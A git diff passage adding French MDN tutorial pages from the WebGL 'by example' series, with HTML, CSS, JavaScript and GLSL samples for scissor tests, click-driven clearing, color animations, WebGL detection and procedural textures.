+<p>Cet article représente une excellente occasion pour distinguer les <em>pixels</em> des <em>fragments</em>. Un pixel est un élément d'une image (en pratique c'est un point) sur l'écran ou un élément unique du tampon de dessin (l'espace mémoire qui contient les données relatives aux pixels comme les différentes composantes couleur). Un <em>fragment</em> fait référence au pixel manipulé par les processus {{Glossary("WebGL")}}.</p>
+
+<p>Cette distinction existe car la couleur d'un fragment (et ses autres caractéristiques comme la profondeur) peut être manipulée et modifiée à plusieurs reprises avant d'être écrite à l'écran. On a déjà vu comment la couleur d'un fragment pouvait être modifiée au cours des opérations graphiques en appliquant un {{domxref("WebGLRenderingContext.colorMask()","masque de couleur", "", 1)}}. Il existe d'autres cas où les fragments sont ignorés (le pixel n'est pass mis à jour) ou d'autres où ils interagissent avec la valeur du pixel existant (afin de fusionner les couleurs pour les éléments transparents qui composent une scène).</p>
+
+<p>Ici, on voit une autre distinction entre les fragments et les pixels. La découpe est une étape distincte du processus graphique de  {{Glossary("WebGL")}}/{{Glossary("OpenGL")}} (elle est traitée après l'applique de couleur et avant le masque de couleur). Avant que les pixels réels soient mis à jour, les fragments doivent passer le test de la découpe. S'ils réussissent ce test, ils continuent dans le processus de traitement et les pixels correspondants sont mis à jours. S'ils échouent, le processus rejette les fragments et ils ne sont plus gérés pour les traitements ultérieurs, les pixels correspondants ne seront pas mis à jour. Seuls les fragments appartenant à la zone rectangulaire donnée réussissent le test et seuls les pixels correspondants sont mis à jour. Au final, on obtient un rectangle qui est dessiné à l'écran.</p>
+
+<p>Par défaut, l'étape de découpe est désactivée dans le processus. Ici, on l'active avec la méthode  {{domxref("WebGLRenderingContext.enable","enable()")}} (<code>enable()</code> sera utilisée pour activer de nombreuses autres fonctionnalités liées à WebGL) avec la constante <code>SCISSOR_TEST</code>. Là aussi, on voit l'ordre généralement utilisé pour les commandes {{Glossary("WebGL")}}. Tout d'abord, on modifie l'état de WebGL (ici on active le test de découpe et on crée un masque rectangulaire). Une fois que l'état a bien été modifié, on exécute les commandes de dessin (ici <code>clear()</code>) pour commencer le processus de traitement des fragments.</p>
+
+<pre class="brush: html">&lt;p&gt;Le résultat de la découpe.&lt;/p&gt;
+&lt;canvas&gt;Il semblerait que votre navigateur
+    ne supporte pas l'élément canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+</pre>
+
+<pre class="brush: js" id="livesample-js">window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupWebGL, false);
+  var paragraph = document.querySelector("p");
+  var canvas = document.querySelector("canvas");
+
+  // Les deux lignes suivantes définissent la taille,
+  // en pixels CSS, du buffer de dessin qui est la même
+  // que celle du canevas (définie avec CSS).
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    paragraph.innerHTML = "Échec de la récupération du "
+      + "contexte WebGL. Votre navigateur pourrait ne pas "
+      + "supporter WebGL.";
+    return;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+
+  // On applique une découpe et on définit la taille de
+  // la zone de découpe.
+  gl.enable(gl.SCISSOR_TEST);
+  gl.scissor(40, 20, 60, 170);
+
+  // On applique un jaune uni dans le contexte de rendu.
+  gl.clearColor(1.0, 1.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+}, false);
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/basic-scissoring">GitHub</a>.</p>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Masque_de_couleur","Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/appliquer_une_couleur_à_la_souris/index.html b/files/fr/web/api/webgl_api/by_example/appliquer_une_couleur_à_la_souris/index.html
new file mode 100644
index 0000000000..7ca07c36e6
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/appliquer_une_couleur_à_la_souris/index.html
@@ -0,0 +1,122 @@
+---
+title: Appliquer une couleur à la souris
+slug: Web/API/WebGL_API/By_example/Appliquer_une_couleur_à_la_souris
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Clearing_by_clicking
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs","Apprendre/WebGL/Par_exemple/Cr%C3%A9er_une_animation_color%C3%A9e")}}</p>
+
+<p class="summary">Dans cet article, on voit comment combiner les interactions de l'utilisateur et les opérations graphiques. Plus précisément, dans cet exemple, chaque clic de l'utilisateur déclenchera l'application d'une couleur aléatoire dans le contexte de rendu.</p>
+
+<p>{{EmbedLiveSample("Appliquer_des_couleurs_aléatoires_dans_le_contexte_de_rendu",660,410)}}</p>
+
+<h3 id="Appliquer_des_couleurs_aléatoires_dans_le_contexte_de_rendu">Appliquer des couleurs aléatoires dans le contexte de rendu</h3>
+
+<p>Cet exemple illustre simplement comment associer WebGL aux interactions utilisateur. Chaque fois que l'utilisateur cliquera sur le canevas ou sur le bouton, une couleur aléatoire sera appliquée sur le contexte de rendu.</p>
+
+<p>Ici, on montre comment on place les appels aux fonctions WebGL dans la fonction qui gère les événements :</p>
+
+<pre class="brush: html">&lt;p&gt;Un programme WebGL très simple qui affiche des couleurs
+    suite aux interactions utilisateur.&lt;/p&gt;
+&lt;p&gt;Vous pouvez cliquer sur le canevas ou sur le bouton pour
+    modifier la couleur.&lt;/p&gt;
+&lt;canvas id="canvas-view"&gt;Il semblerait que votre navigateur
+    ne supporte pas l'élément canvas.&lt;/canvas&gt;
+&lt;button id="color-switcher"&gt;Cliquez ici pour changer la couleur&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+</pre>
+
+<pre class="brush: js">// On exécute tout dans le gestionnaire d'événement
+// correspondant au chargement de la fenêtre. De cette
+// façon, le DOM est complètement chargé et mis en forme
+// avant de le manipuler et d'encombrer la portée globale.
+// On donne un nom au gestionnaire (setupWebGL) afin de
+// pouvoir y faire référence par la suite.
+window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+
+  // On fait le ménage : le gestionnaire se supprime lui-
+  // même car il n'a besoin d'être exécuté qu'une fois.
+  window.removeEventListener(evt.type, setupWebGL, false);
+
+  // On ajoute le même gestionnaire de clic sur le canevas
+  // et sur le bouton.
+  var canvas = document.querySelector("#canvas-view");
+  var button = document.querySelector("#color-switcher");
+  canvas.addEventListener("click", switchColor, false);
+  button.addEventListener("click", switchColor, false);
+
+  // On crée une variable qui contiendra WebGLRenderingContext.
+  var gl;
+
+  // La déclaration du gestionnaire d'événement pour le clic.
+  function switchColor () {
+
+    // On utilise la variable gl définie en dehors.
+    // Si elle n'est pas définie, on récupère WebGLRenderingContext.
+    // Si cela échoue, on avertit l'utilisateur. Sinon, on
+    // initialise la zone de dessin (viewport)
+    if (!gl) {
+      gl = canvas.getContext("webgl")
+        || canvas.getContext("experimental-webgl");
+      if (!gl) {
+        alert("Échec de la récupération du \n"
+          + "contexte WebGL. Votre navigateur peut ne pas \n"
+          + " supporter WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+
+    // On obtient une couleur aléatoire grâce
+    // à une fonction auxiliaire.
+    var color = getRandomColor();
+
+    // On choisit cette couleur comme couleur à appliquer.
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+
+    // On applique la nouvelle couleur dans le contexte.
+    // C'est cette fonction qui effectue « réellement »
+    // le dessin sur la zone.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Une fonction auxiliaire pour créer une couleur aléatoire.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+
+}, false);
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/clearing-by-clicking">GitHub</a>.</p>
+
+<div>{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs","Apprendre/WebGL/Par_exemple/Cr%C3%A9er_une_animation_color%C3%A9e")}}</div>
diff --git a/files/fr/web/api/webgl_api/by_example/créer_une_animation_avec_découpe_et_applique/index.html b/files/fr/web/api/webgl_api/by_example/créer_une_animation_avec_découpe_et_applique/index.html
new file mode 100644
index 0000000000..8eb25287ab
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/créer_une_animation_avec_découpe_et_applique/index.html
@@ -0,0 +1,162 @@
+---
+title: Créer une animation avec découpe et applique
+slug: Web/API/WebGL_API/By_example/Créer_une_animation_avec_découpe_et_applique
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Scissor_animation
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Modèle_1","Apprendre/WebGL/Par_exemple/Une_pluie_de_rectangle")}}</p>
+
+<p class="summary">Dans cet article, on voit comment créer des animations grâce à des opérations de découpe et d'applique.</p>
+
+<p>{{EmbedLiveSample("Une_animation_grâce_à_des_découpes",660,425)}}</p>
+
+<h3 id="Une_animation_grâce_à_des_découpes">Une animation grâce à des découpes</h3>
+
+<p>Dans cet exemple, on anime des carrés grâce aux méthodes {{domxref("WebGLRenderingContext.scissor()","scissor()")}} et {{domxref("WebGLRenderingContext.clear()","clear()")}}. Ensuite, on crée à nouveau une boucle d'animation grâce aux <em>timers</em>. Cette fois-ci, la position du carré (la zone de découpe) est mise à jour à chaque <em>frame </em>(on a environ une frame rafraîchie toutes les 17 millisecondes, ce qui correspond environ à 60fps (<em>frame per second</em> ou <em>frame </em>par seconde).</p>
+
+<p>En revanche, la couleur du carré (définie avec {{domxref("WebGLRenderingContext.clearColor()","clearColor")}}) est uniquement mise à jour lorsqu'un nouveau carré est créé. On voit ici que {{Glossary("WebGL")}} est un automate. Pour chaque carré, on définit sa couleur une fois puis on met à jour sa position à chaque <em>frame</em>. L'état lié à la couleur reste tel quel jusqu'à ce qu'un nouveau carré soit créé.</p>
+
+<pre class="brush: html hidden">&lt;p&gt;Une animation WebGL obtenue en appliquant des couleurs
+unies sur le buffer de dessin et en utilisant des tests de découpe.&lt;/p&gt;
+&lt;button id="animation-onoff"&gt;
+  Cliquez ici pour
+&lt;strong&gt;[verbe ici]&lt;/strong&gt;
+  l'animation&lt;/button&gt;
+&lt;canvas&gt;Il semblerait que votre navigateur
+    ne supporte pas l'élément HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css hidden">body {
+  text-align : center;
+}
+canvas {
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js hidden">;(function(){
+</pre>
+
+<pre class="brush: js">"use strict"
+window.addEventListener("load", setupAnimation, false);
+// Voici les variables qui permettront de
+// manipuler le contexte WebGL, la couleur
+// et la position des carrés.
+var gl,
+  color = getRandomColor(),
+  position;
+
+function setupAnimation (evt) {
+  window.removeEventListener(evt.type, setupAnimation, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  gl.enable(gl.SCISSOR_TEST);
+  gl.clearColor(color[0], color[1], color[2], 1.0);
+
+  // À la différence de la fenêtre du navigateur,
+  // l'axe vertical de WebGL va dans le sens croissant
+  // du bas vers le haut. Dans cette position, on indique
+  // que la position initiale du carré est en haut à gauche
+  // du contexte de dessin
+  position = [0, gl.drawingBufferHeight];
+
+  var button = document.querySelector("button");
+  var timer;
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    document.querySelector("strong").innerHTML = "arrêter";
+    timer = setInterval(drawAnimation, 17);
+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    document.querySelector("strong").innerHTML = "lancer";
+    clearInterval(timer);
+  }
+  stopAnimation({type: "click"});
+}
+
+// Les variables qui permettront de stocker la taille
+// et la vitesse du carré.
+var size = [60, 60],
+  velocity = 3.0;
+function drawAnimation () {
+  gl.scissor(position[0], position[1], size[0] , size[1]);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  // À chaque frame, on définit une position plus basse
+  // pour le carré, c'est cela qui crée une illusion
+  // de mouvement.
+  position[1] -= velocity;
+  // Lorsque le carré atteint le bas, on crée un nouveau
+  // carré avec une nouvelle vitesse et une nouvelle
+  // couleur.
+  if (position[1] &lt; 0) {
+    // La position horizontale est choisie aléatoirement.
+    // La position verticale correspond au haut
+    // du buffer de dessin.
+    position = [
+      Math.random()*(gl.drawingBufferWidth - size[0]),
+      gl.drawingBufferHeight
+    ];
+    // Ici on détermine une vitesse aléatoire
+    // comprise entre 1.0 et 7.0
+    velocity = 1.0 + 6.0*Math.random();
+    color = getRandomColor();
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+  }
+}
+
+function getRandomColor() {
+  return [Math.random(), Math.random(), Math.random()];
+}
+</pre>
+
+<pre class="brush: js hidden">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Échec de l'obtention du contexte "
+      + "WebGL. Votre navigateur ne supporte peut-être pas "
+      + "WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+
+<pre class="brush: js hidden">})();
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/scissor-animation">GitHub</a>.</p>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Modèle_1","Apprendre/WebGL/Par_exemple/Une_pluie_de_rectangle")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/créer_une_animation_colorée/index.html b/files/fr/web/api/webgl_api/by_example/créer_une_animation_colorée/index.html
new file mode 100644
index 0000000000..a38d174808
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/créer_une_animation_colorée/index.html
@@ -0,0 +1,139 @@
+---
+title: Créer une animation colorée
+slug: Web/API/WebGL_API/By_example/Créer_une_animation_colorée
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Simple_color_animation
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_à_la_souris","Apprendre/WebGL/Par_exemple/Masque_de_couleur")}}</p>
+
+<p class="summary">Dans cet exemple, on crée une animation avec des couleurs en appliquant chaque seconde une couleur aléatoire dans le contexte de rendu {{Glossary("WebGL")}}.</p>
+
+<p>{{EmbedLiveSample("Créer_une_animation_avec_clear",660,425)}}</p>
+
+<h3 id="Créer_une_animation_avec_clear">Créer une animation avec <code> clear</code></h3>
+
+<p>Cet exemple illustre comment lancer une animation avec WebGL et gérer les interactions de l'utilisateur. L'utilisateur peut lancer, arrêter et reprendre l'animation en cliquant sur le bouton.</p>
+
+<p>Cette fois, on place les appels à la fonction WebGL à l'intérieur d'un gestionnaire d'événement de <em>timer</em>. Un gestionnaire d'événements pour les clics permet de gérer les interactions simples (lancer et arrêter l'animation). Le <em>timer</em> et la fonction de gestion du <em>timer</em> créent une boucle d'animation qui permet d'exécuter un ensemble de commandes pour le dessin à des intervalles réguliers (généralement, pour chaque <em>frame</em>, dans ce cas, on a une fréquence d'une <em>frame </em>par seconde).</p>
+
+<pre class="brush: html">&lt;p&gt;Un programme WebGL simple qui crée une animation colorée.&lt;/p&gt;
+&lt;p&gt;Vous pouvez sur le bouton pour activer/désactiver l'animation.&lt;/p&gt;
+&lt;canvas id="canvas-view"&gt;Il semblerait que votre navigateur ne
+    supporte pas l'élément canvas.&lt;/canvas&gt;
+&lt;button id="animation-onoff"&gt;
+  Cliquez ici pour
+&lt;strong&gt;[le verbe de l'action]&lt;/strong&gt;
+  l'animation
+&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+</pre>
+
+<pre class="brush: js" id="livesample-js">window.addEventListener("load", function setupAnimation (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupAnimation, false);
+
+  // Une variable pour gérer le timer qui contrôle
+  // l'animation.
+  var timer;
+
+  // On ajoute un gestionnaire d'événement pour le clic.
+  var button = document.querySelector("#animation-onoff");
+  var verb = document.querySelector("strong");
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    verb.innerHTML="arrêter";
+
+    // On place une boucle d'animation : on repeint
+    // environ chaque seconde.
+    timer = setInterval(drawAnimation, 1000);
+
+    // On dessine une frame d'animation afin de
+    // fournir un feedback à l'utilisateur.
+    drawAnimation();
+  }
+
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    verb.innerHTML="lancer";
+    // On arrête l'animation en réinitialisant le timer.
+    clearInterval(timer);
+  }
+
+  // On appelle stopAnimation() une fois pour mettre en place
+  // les gestionnaires d'événement pour le canevas et le bouton.
+  stopAnimation({type: "click"});
+
+  var gl;
+  function drawAnimation () {
+    if (!gl) {
+      var canvas = document.getElementById("canvas-view");
+      gl = canvas.getContext("webgl")
+        ||canvas.getContext("experimental-webgl");
+      if (!gl) {
+
+        // On ne veut pas avoir plusieurs messages d'alerte
+        // donc on arrête l'animation en réinitialisant le
+        // timer.
+        clearInterval(timer);
+        alert("Échec du chargement du contexte WebGL.\n"
+          + "Votre navigateur peut ne pas supporter WebGL.");
+        return;
+
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+
+    // On génère une couleur aléatoire avec une fonction
+    // auxiliaire.
+    var color = getRandomColor();
+
+    // On applique la couleur obtenue dans le
+    // contexte WebGLRenderingContext
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+
+    // On propage le changement dans le contexte
+    // avec la méthode clear.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Une fonction auxiliaire qui fournit une
+  // couleur aléatoire.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}, false);
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/simple-color-animation">GitHub</a>.</p>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_à_la_souris","Apprendre/WebGL/Par_exemple/Masque_de_couleur")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/détecter_webgl/index.html b/files/fr/web/api/webgl_api/by_example/détecter_webgl/index.html
new file mode 100644
index 0000000000..fec1fd88a0
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/détecter_webgl/index.html
@@ -0,0 +1,79 @@
+---
+title: Détecter WebGL
+slug: Web/API/WebGL_API/By_example/Détecter_WebGL
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Detect_WebGL
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<div>{{PreviousNext("Apprendre/WebGL/Par_exemple","Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs")}}</div>
+
+<p class="summary">Dans cet exemple, on voit comment détecter un contexte de rendu {{Glossary("WebGL")}} et afficher le résultat à l'utilisateur.</p>
+
+<p>{{EmbedLiveSample("Détecter_le_support_WebGL",660,150)}}</p>
+
+<h3 id="Détecter_le_support_WebGL">Détecter le support WebGL</h3>
+
+<p>Dans ce premier exemple, on vérifie si le navigateur prend en charge {{Glossary("WebGL")}}. Pour cela, on essaye d'obtenir le {{domxref("WebGLRenderingContext","contexte de rendu WebGL","",1)}} à partir d'un élément {{domxref("HTMLCanvasElement","canvas")}}. Le {{domxref("WebGLRenderingContext","contexte de rendu WebGL", "", 1)}} est une interface qui permet de connaître et de modifier l'état du moteur graphique WebGL, d'envoyer des données à WebGL et d'exécuter des commandes de dessin.</p>
+
+<p>La gestion d'une machine graphique au sein d'une seule interface n'est pas propre à {{Glossary("WebGL")}}. Les autres {̣{Glossary("API")}} graphiques comme {{domxref("CanvasRenderingContext2D","le contexte de rendu 2D du canevas", "", 1)}}. Cependant, les propriétés et variables qui peuvent être manipulées changent d'une API à l'autre.</p>
+
+<pre class="brush: html">&lt;p&gt;[ On affichera ici le résultat de la détection du support WebGL ]&lt;/p&gt;
+&lt;button&gt;Cliquez ici pour détecter WebGLRenderingContext&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js">// On exécute tout dans le gestionnaire d'événement
+// correspondant au chargement de la fenêtre. De cette
+// façon, le DOM est complètement chargé et mis en forme
+// avant de le manipuler.
+window.addEventListener("load", function() {
+  var paragraph = document.querySelector("p"),
+    button = document.querySelector("button");
+
+  // On ajoute un gestionnaire d'événement pour
+  // le clic sur le bouton
+  button.addEventListener("click", detectWebGLContext, false);
+  function detectWebGLContext () {
+
+    // On crée un élément canvas. Le canvas n'est pas
+    // ajouté au document et il n'est donc jamais
+    // affiché dans la fenêtre du navigateur
+    var canvas = document.createElement("canvas");
+
+    // On récupère le contexte WebGLRenderingContext
+    // depuis l'élément canvas.
+    var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+
+    // On affiche le résultat.
+    if (gl &amp;&amp; gl instanceof WebGLRenderingContext) {
+      paragraph.innerHTML =
+        "Félicitations, votre navigateur supporte WebGL.";
+    } else {
+      paragraph.innerHTML = "Échec du contexte WebGL. "
+        + "Votre navigateur peut ne pas supporter WebGL.";
+    }
+  }
+}, false);
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/detect-webgl">GitHub</a>.</p>
+
+<div>{{PreviousNext("Apprendre/WebGL/Par_exemple","Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs")}}</div>
diff --git a/files/fr/web/api/webgl_api/by_example/générer_des_textures_avec_du_code/index.html b/files/fr/web/api/webgl_api/by_example/générer_des_textures_avec_du_code/index.html
new file mode 100644
index 0000000000..cd7d71f0c5
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/générer_des_textures_avec_du_code/index.html
@@ -0,0 +1,164 @@
+---
+title: Générer des textures avec du code
+slug: Web/API/WebGL_API/By_example/Générer_des_textures_avec_du_code
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Textures_from_code
+---
+<div>{{draft}}{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Introduction_aux_attributs_vertex","Apprendre/WebGL/Par_exemple/Les_textures_vidéos")}}</p>
+
+<p class="summary">Dans cet article, on illustre simplement comment générer des textures procédurales avec des fragments de <em>shader</em><em>s</em>.</p>
+
+<p>{{EmbedLiveSample("Dessiner_des_textures_avec_du_code",660,350)}}</p>
+
+<h3 id="Dessiner_des_textures_avec_du_code">Dessiner des textures avec du  code</h3>
+
+<p>Il est possible d'appliquer des textures en effectuant des calculs pour chaque pixel du fragment de <em>shader</em>.</p>
+
+<pre class="brush: html hidden">&lt;p&gt;Génération d'une texture à partir de code. Simple demonstration
+    de la génération de textures procédurale&lt;/p&gt;
+&lt;canvas&gt;Il semblerait que votre navigateur ne supporte
+    pas l'élément canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css hidden">body {
+  text-align : center;
+}
+canvas {
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-vertex" id="vertex-shader"&gt;
+#version 100
+precision highp float;
+void main() {
+  gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
+  gl_PointSize = 128.0;
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-fragment" id="fragment-shader"&gt;
+#version 100
+precision mediump float;
+// On définit une variation radiale (à partir du centre)
+void main() {
+  vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0;
+  float distance = length(fragmentPosition);
+  float distanceSqrd = distance * distance;
+  gl_FragColor = vec4(
+    0.2/distanceSqrd,
+    0.1/distanceSqrd,
+    0.0, 1.0 );
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: js hidden">;(function(){
+</pre>
+
+<pre class="brush: js">"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "La liaison du programme de shader a échoué. "
+      + "Journal d'erreur : " + linkErrLog;
+    return;
+  }
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 2, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+</pre>
+
+<pre class="brush: js hidden">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Échec de l'obtention du contexte"
+      + " WebGL. Votre navigateur ne supporte peut-être"
+      + " pas WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">})();
+</pre>
+</div>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/textures-from-code">GitHub</a>.</p>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Introduction_aux_attributs_vertex","Apprendre/WebGL/Par_exemple/Les_textures_vidéos")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/hello_glsl/index.html b/files/fr/web/api/webgl_api/by_example/hello_glsl/index.html
new file mode 100644
index 0000000000..b26df25f0f
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/hello_glsl/index.html
@@ -0,0 +1,159 @@
+---
+title: Hello GLSL
+slug: Web/API/WebGL_API/By_example/Hello_GLSL
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Hello_GLSL
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
